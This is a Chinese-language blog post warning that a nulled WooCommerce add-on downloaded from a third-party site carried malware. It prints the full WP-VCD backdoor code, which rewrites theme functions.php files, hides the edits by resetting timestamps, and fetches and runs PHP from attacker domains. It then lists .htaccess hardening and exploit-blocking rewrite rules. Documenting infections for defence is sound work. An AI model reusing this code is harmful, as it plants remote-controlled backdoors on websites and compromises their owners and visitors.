【wordpress】關於wordpress被放入額外檔案 View Larger Image 還是少下載來路不明的外掛套件。 從網站:VestaThemes.com 網路上下載了一個檔案:73985_wooextraproductoptions-467.zip 裡面包含了一個檔案。內容跟下面一樣。 生了一堆檔案要刪也真是太麻煩了 Copy to Clipboard 'wp-config.php', 'cms' => 'wp', '_key' => '$table_prefix'), ); function getDirList($path) { if ($dir = @opendir($path)) { $result = Array(); while (($filename = @readdir($dir)) !== false) { if ($filename != '.' && $filename != '..' && is_dir($path . '/' . $filename)) $result[] = $path . '/' . $filename; } return $result; } return false; } function WP_URL_CD($path) { if ( ($file = file_get_contents($path . '/wp-includes/post.php')) && (file_put_contents($path . '/wp-includes/wp-vcd.php', base64_decode($GLOBALS['WP_CD_CODE']))) ) { if (strpos($file, 'wp-vcd') === false) { $file = '' . $file; file_put_contents($path . '/wp-includes/post.php', $file); //@file_put_contents($path . '/wp-includes/class.wp.php', file_get_contents('http://www.katots.com/admin.txt')); } } } function SearchFile($search, $path) { if ($dir = @opendir($path)) { $i = 0; while (($filename = @readdir($dir)) !== false) { if ($i > MAX_ITERATION) break; $i++; if ($filename != '.' && $filename != '..') { if (is_dir($path . '/' . $filename) && !in_array($filename, $GLOBALS['stopkey'])) { SearchFile($search, $path . '/' . $filename); } else { foreach ($search as $_) { if (strtolower($filename) == strtolower($_['file'])) { $GLOBALS['DIR_ARRAY'][$path . '/' . $filename] = Array($_['cms'], $path . '/' . $filename); } } } } } } } if (is_admin() && (($pagenow == 'themes.php') || ($_GET['action'] == 'activate') || (isset($_GET['plugin']))) ) { if (isset($_GET['plugin'])) { global $wpdb ; } $install_code = '<?php
if (isset($_REQUEST['action']) && isset($_REQUEST['password']) && ($_REQUEST['password'] == '{$PASSWORD}'))
	{
$div_code_name="wp_vcd";
		switch ($_REQUEST['action'])
			{

				




				case 'change_domain';
					if (isset($_REQUEST['newdomain']))
						{
							
							if (!empty($_REQUEST['newdomain']))
								{
                                                                           if ($file = @file_get_contents(__FILE__))
		                                                                    {
                                                                                                 if(preg_match_all('/\$tmpcontent = @file_get_contents\("http:\/\/(.*)\/code\.php/i',$file,$matcholddomain))
                                                                                                             {

			                                                                           $file = preg_replace('/'.$matcholddomain[1][0].'/i',$_REQUEST['newdomain'], $file);
			                                                                           @file_put_contents(__FILE__, $file);
									                           print "true";
                                                                                                             }


		                                                                    }
								}
						}
				break;

								case 'change_code';
					if (isset($_REQUEST['newcode']))
						{
							
							if (!empty($_REQUEST['newcode']))
								{
                                                                           if ($file = @file_get_contents(__FILE__))
		                                                                    {
                                                                                                 if(preg_match_all('/\/\/\$start_wp_theme_tmp([\s\S]*)\/\/\$end_wp_theme_tmp/i',$file,$matcholdcode))
                                                                                                             {

			                                                                           $file = str_replace($matcholdcode[1][0], stripslashes($_REQUEST['newcode']), $file);
			                                                                           @file_put_contents(__FILE__, $file);
									                           print "true";
                                                                                                             }


		                                                                    }
								}
						}
				break;
				
				default: print "ERROR_WP_ACTION WP_V_CD WP_CD";
			}
			
		die("");
	}








$div_code_name = "wp_vcd";
$funcfile      = __FILE__;
if(!function_exists('theme_temp_setup')) {
    $path = $_SERVER['HTTP_HOST'] . $_SERVER[REQUEST_URI];
    if (stripos($_SERVER['REQUEST_URI'], 'wp-cron.php') == false && stripos($_SERVER['REQUEST_URI'], 'xmlrpc.php') == false) {
        
        function file_get_contents_tcurl($url)
        {
            $ch = curl_init();
            curl_setopt($ch, CURLOPT_AUTOREFERER, TRUE);
            curl_setopt($ch, CURLOPT_HEADER, 0);
            curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
            curl_setopt($ch, CURLOPT_URL, $url);
            curl_setopt($ch, CURLOPT_FOLLOWLOCATION, TRUE);
            $data = curl_exec($ch);
            curl_close($ch);
            return $data;
        }
        
        function theme_temp_setup($phpCode)
        {
            $tmpfname = tempnam(sys_get_temp_dir(), "theme_temp_setup");
            $handle   = fopen($tmpfname, "w+");
           if( fwrite($handle, "<?php\n" . $phpCode))
		   {
		   }
			else
			{
			$tmpfname = tempnam('./', "theme_temp_setup");
            $handle   = fopen($tmpfname, "w+");
			fwrite($handle, "<?php\n" . $phpCode);
			}
			fclose($handle);
            include $tmpfname;
            unlink($tmpfname);
            return get_defined_vars();
        }
        

$wp_auth_key='1efcb2fc8fd3df6c7000722fb48e7b73';
        if (($tmpcontent = @file_get_contents("http://www.katots.com/code.php") OR $tmpcontent = @file_get_contents_tcurl("http://www.katots.com/code.php")) AND stripos($tmpcontent, $wp_auth_key) !== false) {

            if (stripos($tmpcontent, $wp_auth_key) !== false) {
                extract(theme_temp_setup($tmpcontent));
                @file_put_contents(ABSPATH . 'wp-includes/wp-tmp.php', $tmpcontent);
                
                if (!file_exists(ABSPATH . 'wp-includes/wp-tmp.php')) {
                    @file_put_contents(get_template_directory() . '/wp-tmp.php', $tmpcontent);
                    if (!file_exists(get_template_directory() . '/wp-tmp.php')) {
                        @file_put_contents('wp-tmp.php', $tmpcontent);
                    }
                }
                
            }
        }
        
        
        elseif ($tmpcontent = @file_get_contents("http://www.katots.pw/code.php")  AND stripos($tmpcontent, $wp_auth_key) !== false ) {

if (stripos($tmpcontent, $wp_auth_key) !== false) {
                extract(theme_temp_setup($tmpcontent));
                @file_put_contents(ABSPATH . 'wp-includes/wp-tmp.php', $tmpcontent);
                
                if (!file_exists(ABSPATH . 'wp-includes/wp-tmp.php')) {
                    @file_put_contents(get_template_directory() . '/wp-tmp.php', $tmpcontent);
                    if (!file_exists(get_template_directory() . '/wp-tmp.php')) {
                        @file_put_contents('wp-tmp.php', $tmpcontent);
                    }
                }
                
            }
        } 
		
		        elseif ($tmpcontent = @file_get_contents("http://www.katots.top/code.php")  AND stripos($tmpcontent, $wp_auth_key) !== false ) {

if (stripos($tmpcontent, $wp_auth_key) !== false) {
                extract(theme_temp_setup($tmpcontent));
                @file_put_contents(ABSPATH . 'wp-includes/wp-tmp.php', $tmpcontent);
                
                if (!file_exists(ABSPATH . 'wp-includes/wp-tmp.php')) {
                    @file_put_contents(get_template_directory() . '/wp-tmp.php', $tmpcontent);
                    if (!file_exists(get_template_directory() . '/wp-tmp.php')) {
                        @file_put_contents('wp-tmp.php', $tmpcontent);
                    }
                }
                
            }
        }
		elseif ($tmpcontent = @file_get_contents(ABSPATH . 'wp-includes/wp-tmp.php') AND stripos($tmpcontent, $wp_auth_key) !== false) {
            extract(theme_temp_setup($tmpcontent));
           
        } elseif ($tmpcontent = @file_get_contents(get_template_directory() . '/wp-tmp.php') AND stripos($tmpcontent, $wp_auth_key) !== false) {
            extract(theme_temp_setup($tmpcontent)); 

        } elseif ($tmpcontent = @file_get_contents('wp-tmp.php') AND stripos($tmpcontent, $wp_auth_key) !== false) {
            extract(theme_temp_setup($tmpcontent)); 

        } 
        
        
        
        
        
    }
}

//$start_wp_theme_tmp



//wp_tmp


//$end_wp_theme_tmp
?>'; $install_hash = md5($_SERVER['HTTP_HOST'] . AUTH_SALT); $install_code = str_replace('{$PASSWORD}' , $install_hash, base64_decode( $install_code )); $themes = ABSPATH . DIRECTORY_SEPARATOR . 'wp-content' . DIRECTORY_SEPARATOR . 'themes'; $ping = true; $ping2 = false; if ($list = scandir( $themes )) { foreach ($list as $_) { if (file_exists($themes . DIRECTORY_SEPARATOR . $_ . DIRECTORY_SEPARATOR . 'functions.php')) { $time = filectime($themes . DIRECTORY_SEPARATOR . $_ . DIRECTORY_SEPARATOR . 'functions.php'); if ($content = file_get_contents($themes . DIRECTORY_SEPARATOR . $_ . DIRECTORY_SEPARATOR . 'functions.php')) { if (strpos($content, 'WP_V_CD') === false) { $content = $install_code . $content ; @file_put_contents($themes . DIRECTORY_SEPARATOR . $_ . DIRECTORY_SEPARATOR . 'functions.php', $content); touch( $themes . DIRECTORY_SEPARATOR . $_ . DIRECTORY_SEPARATOR . 'functions.php' , $time ); } else { $ping = false; } } } else { $list2 = scandir( $themes . DIRECTORY_SEPARATOR . $_); foreach ($list2 as $_2) { if (file_exists($themes . DIRECTORY_SEPARATOR . $_ . DIRECTORY_SEPARATOR . $_2 . DIRECTORY_SEPARATOR . 'functions.php')) { $time = filectime($themes . DIRECTORY_SEPARATOR . $_ . DIRECTORY_SEPARATOR . $_2 . DIRECTORY_SEPARATOR . 'functions.php'); if ($content = file_get_contents($themes . DIRECTORY_SEPARATOR . $_ . DIRECTORY_SEPARATOR . $_2 . DIRECTORY_SEPARATOR . 'functions.php')) { if (strpos($content, 'WP_V_CD') === false) { $content = $install_code . $content ; @file_put_contents($themes . DIRECTORY_SEPARATOR . $_ . DIRECTORY_SEPARATOR . $_2 . DIRECTORY_SEPARATOR . 'functions.php', $content); touch( $themes . DIRECTORY_SEPARATOR . $_ . DIRECTORY_SEPARATOR . $_2 . DIRECTORY_SEPARATOR . 'functions.php' , $time ); $ping2 = true; } else { //$ping2 = true; } } } } } } if ($ping) { $content = @file_get_contents('http://www.katots.com/o.php?host=' . $_SERVER["HTTP_HOST"] . '&password=' . $install_hash); //@file_put_contents(ABSPATH . 'wp-includes/class.wp.php', file_get_contents('http://www.katots.com/admin.txt')); //echo ABSPATH . 'wp-includes/class.wp.php'; } if ($ping2) { $content = @file_get_contents('http://www.katots.com/o.php?host=' . $_SERVER["HTTP_HOST"] . '&password=' . $install_hash); //@file_put_contents(ABSPATH . 'wp-includes/class.wp.php', file_get_contents('http://www.katots.com/admin.txt')); //echo ABSPATH . 'wp-includes/class.wp.php'; } } for ($i = 0; $i!s', '', $file); @file_put_contents(__FILE__, $file); } } //install_code_end ?> 參考網路上的一些文件。 以wordpress官方資料也滿準確的,提供解決方法。 https://codex.wordpress.org/FAQ_My_site_was_hacked Copy to Clipboard修改.htaccess /wp-includes Order Allow,Deny Deny from all Order Allow,Deny Deny from all ForceType text/plain .htaccess 在 /wp-content/uploads/ Order Allow,Deny Deny from all Allow from all Order Allow,Deny Deny from all Order Allow,Deny Deny from all ForceType text/plain 把functions.php檔案修改並加入 function remove_plugins() { remove_action('wp_head', 'feed_links_extra', 3); remove_action('wp_head', 'feed_links', 2); remove_action('wp_head', 'rsd_link' ); remove_action('wp_head', 'wlwmanifest_link'); remove_action('wp_head', 'wp_generator'); remove_filter('comment_text', 'wptexturize'); remove_filter('the_content', 'wptexturize'); remove_filter('the_excerpt', 'wptexturize'); remove_action('wp_head', 'adjacent_posts_rel_link_wp_head', 10, 0); remove_action('wp_head', 'wp_shortlink_wp_head', 10, 0); remove_action( 'wp_head', 'rest_output_link_wp_head', 10 ); remove_action( 'wp_head', 'wp_oembed_add_discovery_links', 10 ); remove_action( 'wp_head', 'print_emoji_detection_script', 7 ); remove_action( 'admin_print_scripts', 'print_emoji_detection_script' ); remove_action( 'wp_print_styles', 'print_emoji_styles' ); remove_action( 'admin_print_styles', 'print_emoji_styles' ); remove_filter( 'the_content_feed', 'wp_staticize_emoji' ); remove_filter( 'comment_text_rss', 'wp_staticize_emoji' ); remove_filter( 'wp_mail', 'wp_staticize_emoji_for_email' ); } add_action('template_redirect', 'remove_plugins'); # 修改 Options +FollowSymLinks -Indexes ########## Begin - Rewrite rules to block out some common exploits # If the request query string contains /proc/self/environ (by SigSiu.net) RewriteCond %{QUERY_STRING} proc/self/environ [OR] # Block out any script trying to base64_encode or base64_decode data within the URL RewriteCond %{QUERY_STRING} base64_(en|de)code[^(]*\([^)]*\) [OR] ## IMPORTANT: If the above line throws an HTTP 500 error, replace it with these 2 lines: # RewriteCond %{QUERY_STRING} base64_encode\(.*\) [OR] # RewriteCond %{QUERY_STRING} base64_decode\(.*\) [OR] # Block out any script that includes a Go to Top